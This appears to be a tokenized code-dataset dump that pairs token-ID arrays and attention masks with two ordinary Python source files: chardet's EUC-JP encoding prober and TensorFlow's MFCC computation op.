32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
alvinli1991/wechatServer
site-packages/requests/packages/chardet/eucjpprober.py
2919
3678
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from . import constants from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCJPDistributionAnalysis from .jpcntx import EUCJPContextAnalysis from .mbcssm import EUCJPSMModel class EUCJPProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(EUCJPSMModel) self._mDistributionAnalyzer = EUCJPDistributionAnalysis() self._mContextAnalyzer = EUCJPContextAnalysis() self.reset() def reset(self): MultiByteCharSetProber.reset(self) self._mContextAnalyzer.reset() def get_charset_name(self): return "EUC-JP" def feed(self, aBuf): aLen = len(aBuf) for i in range(0, aLen): # PY3K: aBuf is a byte array, so aBuf[i] is an int, not a byte codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mContextAnalyzer.feed(self._mLastChar, charLen) self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mContextAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mContextAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): contxtCf = self._mContextAnalyzer.get_confidence() distribCf = self._mDistributionAnalyzer.get_confidence() return max(contxtCf, distribCf)
mit
[ 6565, 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 1303, 6956, 14, 1308, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 646, 984, 199, 504, 1275, 492, 5262, 199, 504, 1275, 887, 6043, 19903, 492, 6879, 21312, 199, 504, 1275, 1523, 929, 6744, 492, 30539, 199, 504, 1275, 1560, 4972, 492, 662, 13371, 15819, 24906, 199, 504, 1275, 74, 2352, 343, 88, 492, 662, 13371, 15819, 2998, 13182, 199, 504, 1275, 887, 3919, 77, 492, 662, 13371, 15819, 25335, 421, 199, 533, 662, 13371, 15819, 8029, 8, 3947, 21312, 304, 272, 347, 636, 826, 721, 277, 304, 267, 6879, 21312, 855, 826, 721, 277, 9, 267, 291, 423, 29633, 275, 30539, 8, 37, 13371, 15819, 25335, 9, 267, 291, 423, 77, 8580, 17606, 275, 662, 13371, 15819, 24906, 342, 267, 291, 423, 77, 2998, 17606, 275, 662, 13371, 15819, 2998, 13182, 342, 267, 291, 14, 3958, 342, 339, 347, 5305, 8, 277, 304, 267, 6879, 21312, 14, 3958, 8, 277, 9, 267, 291, 423, 77, 2998, 17606, 14, 3958, 342, 339, 347, 664, 63, 6043, 63, 354, 8, 277, 304, 267, 372, 298, 37, 13371, 13, 15819, 2, 339, 347, 4733, 8, 277, 12, 17407, 304, 267, 282, 3166, 275, 822, 8, 22353, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 282, 3166, 304, 288, 327, 7843, 19, 43, 26, 17407, 365, 282, 3696, 1625, 12, 880, 17407, 59, 73, 61, 365, 376, 1109, 12, 440, 282, 3696, 288, 2803, 2223, 275, 291, 423, 29633, 14, 2184, 63, 929, 8, 22353, 59, 73, 566, 288, 340, 2803, 2223, 508, 5262, 14, 6259, 26, 355, 340, 5262, 423, 1757, 26, 490, 984, 14, 3083, 14, 952, 8, 277, 14, 362, 63, 6043, 63, 354, 342, 3660, 435, 283, 16118, 9793, 1125, 737, 3696, 283, 435, 620, 8, 73, 9, 3660, 435, 1557, 78, 358, 355, 291, 423, 31984, 275, 5262, 14, 69, 1763, 1352, 355, 2059, 288, 916, 2803, 2223, 508, 5262, 14, 13241, 26, 355, 291, 423, 31984, 275, 5262, 14, 69, 3601, 7940, 355, 2059, 288, 916, 2803, 2223, 508, 5262, 14, 11724, 26, 355, 29205, 275, 291, 423, 29633, 14, 362, 63, 1818, 63, 1560, 552, 342, 355, 340, 284, 508, 378, 26, 490, 291, 423, 30875, 59, 17, 61, 275, 17407, 59, 16, 61, 490, 291, 423, 77, 2998, 17606, 14, 3871, 8, 277, 423, 30875, 12, 29205, 9, 490, 291, 423, 77, 8580, 17606, 14, 3871, 8, 277, 423, 30875, 12, 29205, 9, 355, 587, 26, 490, 291, 423, 77, 2998, 17606, 14, 3871, 8, 22353, 59, 73, 446, 413, 26, 73, 435, 413, 467, 29205, 9, 490, 291, 423, 77, 8580, 17606, 14, 3871, 8, 22353, 59, 73, 446, 413, 26, 73, 435, 413, 467, 9349, 29205, 9, 398, 291, 423, 30875, 59, 16, 61, 275, 17407, 59, 65, 3166, 446, 413, 61, 398, 340, 291, 14, 362, 63, 929, 342, 508, 5262, 14, 69, 20064, 316, 26, 288, 340, 334, 277, 423, 77, 2998, 17606, 14, 7808, 63, 30881, 63, 576, 342, 436, 2049, 334, 277, 14, 362, 63, 13969, 342, 690, 5262, 14, 13003, 24678, 63, 19307, 2298, 355, 291, 423, 31984, 275, 5262, 14, 69, 3601, 7940, 398, 372, 291, 14, 362, 63, 929, 342, 339, 347, 664, 63, 13969, 8, 277, 304, 267, 406, 2424, 24304, 275, 291, 423, 77, 2998, 17606, 14, 362, 63, 13969, 342, 267, 29573, 24304, 275, 291, 423, 77, 8580, 17606, 14, 362, 63, 13969, 342, 267, 372, 1390, 8, 388, 2424, 24304, 12, 29573, 24304, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 1303, 6956, 14, 1308, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 646, 984, 199, 504, 1275, 492, 5262, 199, 504, 1275, 887, 6043, 19903, 492, 6879, 21312, 199, 504, 1275, 1523, 929, 6744, 492, 30539, 199, 504, 1275, 1560, 4972, 492, 662, 13371, 15819, 24906, 199, 504, 1275, 74, 2352, 343, 88, 492, 662, 13371, 15819, 2998, 13182, 199, 504, 1275, 887, 3919, 77, 492, 662, 13371, 15819, 25335, 421, 199, 533, 662, 13371, 15819, 8029, 8, 3947, 21312, 304, 272, 347, 636, 826, 721, 277, 304, 267, 6879, 21312, 855, 826, 721, 277, 9, 267, 291, 423, 29633, 275, 30539, 8, 37, 13371, 15819, 25335, 9, 267, 291, 423, 77, 8580, 17606, 275, 662, 13371, 15819, 24906, 342, 267, 291, 423, 77, 2998, 17606, 275, 662, 13371, 15819, 2998, 13182, 342, 267, 291, 14, 3958, 342, 339, 347, 5305, 8, 277, 304, 267, 6879, 21312, 14, 3958, 8, 277, 9, 267, 291, 423, 77, 2998, 17606, 14, 3958, 342, 339, 347, 664, 63, 6043, 63, 354, 8, 277, 304, 267, 372, 298, 37, 13371, 13, 15819, 2, 339, 347, 4733, 8, 277, 12, 17407, 304, 267, 282, 3166, 275, 822, 8, 22353, 9, 267, 367, 284, 315, 1425, 8, 16, 12, 282, 3166, 304, 288, 327, 7843, 19, 43, 26, 17407, 365, 282, 3696, 1625, 12, 880, 17407, 59, 73, 61, 365, 376, 1109, 12, 440, 282, 3696, 288, 2803, 2223, 275, 291, 423, 29633, 14, 2184, 63, 929, 8, 22353, 59, 73, 566, 288, 340, 2803, 2223, 508, 5262, 14, 6259, 26, 355, 340, 5262, 423, 1757, 26, 490, 984, 14, 3083, 14, 952, 8, 277, 14, 362, 63, 6043, 63, 354, 342, 3660, 435, 283, 16118, 9793, 1125, 737, 3696, 283, 435, 620, 8, 73, 9, 3660, 435, 1557, 78, 358, 355, 291, 423, 31984, 275, 5262, 14, 69, 1763, 1352, 355, 2059, 288, 916, 2803, 2223, 508, 5262, 14, 13241, 26, 355, 291, 423, 31984, 275, 5262, 14, 69, 3601, 7940, 355, 2059, 288, 916, 2803, 2223, 508, 5262, 14, 11724, 26, 355, 29205, 275, 291, 423, 29633, 14, 362, 63, 1818, 63, 1560, 552, 342, 355, 340, 284, 508, 378, 26, 490, 291, 423, 30875, 59, 17, 61, 275, 17407, 59, 16, 61, 490, 291, 423, 77, 2998, 17606, 14, 3871, 8, 277, 423, 30875, 12, 29205, 9, 490, 291, 423, 77, 8580, 17606, 14, 3871, 8, 277, 423, 30875, 12, 29205, 9, 355, 587, 26, 490, 291, 423, 77, 2998, 17606, 14, 3871, 8, 22353, 59, 73, 446, 413, 26, 73, 435, 413, 467, 29205, 9, 490, 291, 423, 77, 8580, 17606, 14, 3871, 8, 22353, 59, 73, 446, 413, 26, 73, 435, 413, 467, 9349, 29205, 9, 398, 291, 423, 30875, 59, 16, 61, 275, 17407, 59, 65, 3166, 446, 413, 61, 398, 340, 291, 14, 362, 63, 929, 342, 508, 5262, 14, 69, 20064, 316, 26, 288, 340, 334, 277, 423, 77, 2998, 17606, 14, 7808, 63, 30881, 63, 576, 342, 436, 2049, 334, 277, 14, 362, 63, 13969, 342, 690, 5262, 14, 13003, 24678, 63, 19307, 2298, 355, 291, 423, 31984, 275, 5262, 14, 69, 3601, 7940, 398, 372, 291, 14, 362, 63, 929, 342, 339, 347, 664, 63, 13969, 8, 277, 304, 267, 406, 2424, 24304, 275, 291, 423, 77, 2998, 17606, 14, 362, 63, 13969, 342, 267, 29573, 24304, 275, 291, 423, 77, 8580, 17606, 14, 362, 63, 13969, 342, 267, 372, 1390, 8, 388, 2424, 24304, 12, 29573, 24304, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jwlawson/tensorflow
tensorflow/contrib/signal/python/ops/mfcc_ops.py
6
4706
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Mel-Frequency Cepstral Coefficients (MFCCs) ops.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import spectral_ops def mfccs_from_log_mel_spectrograms(log_mel_spectrograms, name=None): """Computes [MFCCs][mfcc] of `log_mel_spectrograms`. Implemented with GPU-compatible ops and supports gradients. [Mel-Frequency Cepstral Coefficient (MFCC)][mfcc] calculation consists of taking the DCT-II of a log-magnitude mel-scale spectrogram. [HTK][htk]'s MFCCs use a particular scaling of the DCT-II which is almost orthogonal normalization. We follow this convention. All `num_mel_bins` MFCCs are returned and it is up to the caller to select a subset of the MFCCs based on their application. For example, it is typical to only use the first few for speech recognition, as this results in an approximately pitch-invariant representation of the signal. For example: ```python sample_rate = 16000.0 # A Tensor of [batch_size, num_samples] mono PCM samples in the range [-1, 1]. pcm = tf.placeholder(tf.float32, [None, None]) # A 1024-point STFT with frames of 64 ms and 75% overlap. stfts = tf.contrib.signal.stft(pcm, frame_length=1024, frame_step=256, fft_length=1024) spectrograms = tf.abs(stfts) # Warp the linear scale spectrograms into the mel-scale. num_spectrogram_bins = stfts.shape[-1].value lower_edge_hertz, upper_edge_hertz, num_mel_bins = 80.0, 7600.0, 80 linear_to_mel_weight_matrix = tf.contrib.signal.linear_to_mel_weight_matrix( num_mel_bins, num_spectrogram_bins, sample_rate, lower_edge_hertz, upper_edge_hertz) mel_spectrograms = tf.tensordot( spectrograms, linear_to_mel_weight_matrix, 1) mel_spectrograms.set_shape(spectrograms.shape[:-1].concatenate( linear_to_mel_weight_matrix.shape[-1:])) # Compute a stabilized log to get log-magnitude mel-scale spectrograms. log_mel_spectrograms = tf.log(mel_spectrograms + 1e-6) # Compute MFCCs from log_mel_spectrograms and take the first 13. mfccs = tf.contrib.signal.mfccs_from_log_mel_spectrograms( log_mel_spectrograms)[..., :13] ``` Args: log_mel_spectrograms: A `[..., num_mel_bins]` `float32` `Tensor` of log-magnitude mel-scale spectrograms. name: An optional name for the operation. Returns: A `[..., num_mel_bins]` `float32` `Tensor` of the MFCCs of `log_mel_spectrograms`. Raises: ValueError: If `num_mel_bins` is not positive. [mfcc]: https://en.wikipedia.org/wiki/Mel-frequency_cepstrum [htk]: https://en.wikipedia.org/wiki/HTK_(software) """ with ops.name_scope(name, 'mfccs_from_log_mel_spectrograms', [log_mel_spectrograms]): # Compute the DCT-II of the resulting log-magnitude mel-scale spectrogram. # The DCT used in HTK scales every basis vector by sqrt(2/N), which is the # scaling required for an "orthogonal" DCT-II *except* in the 0th bin, where # the true orthogonal DCT (as implemented by scipy) scales by sqrt(1/N). For # this reason, we don't apply orthogonal normalization and scale the DCT by # `0.5 * sqrt(2/N)` manually. log_mel_spectrograms = ops.convert_to_tensor(log_mel_spectrograms, dtype=dtypes.float32) if (log_mel_spectrograms.shape.ndims and log_mel_spectrograms.shape[-1].value is not None): num_mel_bins = log_mel_spectrograms.shape[-1].value if num_mel_bins == 0: raise ValueError('num_mel_bins must be positive. Got: %s' % log_mel_spectrograms) else: num_mel_bins = array_ops.shape(log_mel_spectrograms)[-1] dct2 = spectral_ops.dct(log_mel_spectrograms) return dct2 * math_ops.rsqrt(num_mel_bins * 2.0)
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 45, 352, 13, 18285, 445, 1545, 31943, 1849, 21069, 83, 334, 13463, 2571, 83, 9, 4156, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 28397, 63, 1483, 421, 199, 318, 333, 3003, 1259, 63, 504, 63, 793, 63, 26908, 63, 20865, 293, 9292, 8, 793, 63, 26908, 63, 20865, 293, 9292, 12, 536, 29, 403, 304, 523, 408, 22594, 359, 13463, 2571, 83, 1527, 11821, 2055, 61, 402, 658, 793, 63, 26908, 63, 20865, 293, 9292, 2313, 819, 11794, 2509, 543, 18613, 13, 6490, 4156, 436, 5171, 12661, 14, 819, 359, 45, 352, 13, 18285, 445, 1545, 31943, 1849, 21069, 334, 13463, 2571, 30372, 11821, 2055, 61, 15232, 18581, 402, 523, 16466, 314, 577, 1028, 13, 8921, 402, 282, 943, 13, 32167, 562, 76, 13, 3467, 30900, 293, 1679, 14, 359, 2148, 43, 1527, 517, 75, 6616, 83, 603, 38, 2571, 83, 523, 675, 282, 6770, 13690, 402, 314, 577, 1028, 13, 8921, 1314, 365, 18871, 29069, 523, 16973, 14, 2136, 2035, 642, 16129, 14, 819, 2900, 658, 1507, 63, 26908, 63, 11329, 64, 603, 38, 2571, 83, 787, 2138, 436, 652, 365, 1536, 370, 314, 8025, 370, 3504, 523, 282, 10026, 402, 314, 603, 38, 2571, 83, 4079, 641, 3932, 4223, 14, 2104, 2893, 12, 652, 365, 25780, 523, 370, 1454, 675, 314, 1642, 9284, 367, 32093, 17319, 15415, 12, 465, 642, 2058, 315, 523, 376, 19917, 590, 20031, 13, 262, 8759, 6025, 402, 314, 4673, 14, 819, 2104, 2893, 26, 819, 10841, 1548, 523, 2690, 63, 1866, 275, 3193, 1493, 14, 16, 523, 327, 437, 5878, 402, 359, 2912, 63, 890, 12, 1967, 63, 3356, 61, 3485, 79, 510, 9249, 5845, 315, 314, 1425, 5243, 17, 12, 413, 1055, 523, 299, 4400, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 359, 403, 12, 488, 566, 819, 327, 437, 6619, 13, 1403, 4384, 2161, 543, 11223, 402, 5049, 6605, 436, 13098, 5, 15145, 14, 523, 410, 856, 83, 275, 2833, 14, 2828, 14, 4653, 14, 270, 856, 8, 2352, 77, 12, 2787, 63, 1267, 29, 7727, 12, 2787, 63, 2926, 29, 3912, 12, 639, 18160, 63, 1267, 29, 7727, 9, 523, 30900, 293, 9292, 275, 2833, 14, 2101, 8, 270, 856, 83, 9, 819, 327, 644, 12868, 314, 7798, 4666, 30900, 293, 9292, 1901, 314, 562, 76, 13, 3467, 14, 523, 1967, 63, 20865, 293, 1679, 63, 11329, 275, 410, 856, 83, 14, 1392, 1988, 17, 1055, 585, 523, 5117, 63, 5173, 63, 2523, 3903, 12, 7008, 63, 5173, 63, 2523, 3903, 12, 1967, 63, 26908, 63, 11329, 275, 5939, 14, 16, 12, 1520, 6683, 14, 16, 12, 5939, 523, 7798, 63, 475, 63, 26908, 63, 3463, 63, 3642, 275, 2833, 14, 2828, 14, 4653, 14, 6676, 63, 475, 63, 26908, 63, 3463, 63, 3642, 8, 272, 1967, 63, 26908, 63, 11329, 12, 1967, 63, 20865, 293, 1679, 63, 11329, 12, 2690, 63, 1866, 12, 5117, 63, 5173, 63, 2523, 3903, 12, 272, 7008, 63, 5173, 63, 2523, 3903, 9, 523, 562, 76, 63, 20865, 293, 9292, 275, 2833, 14, 3128, 3287, 8, 272, 30900, 293, 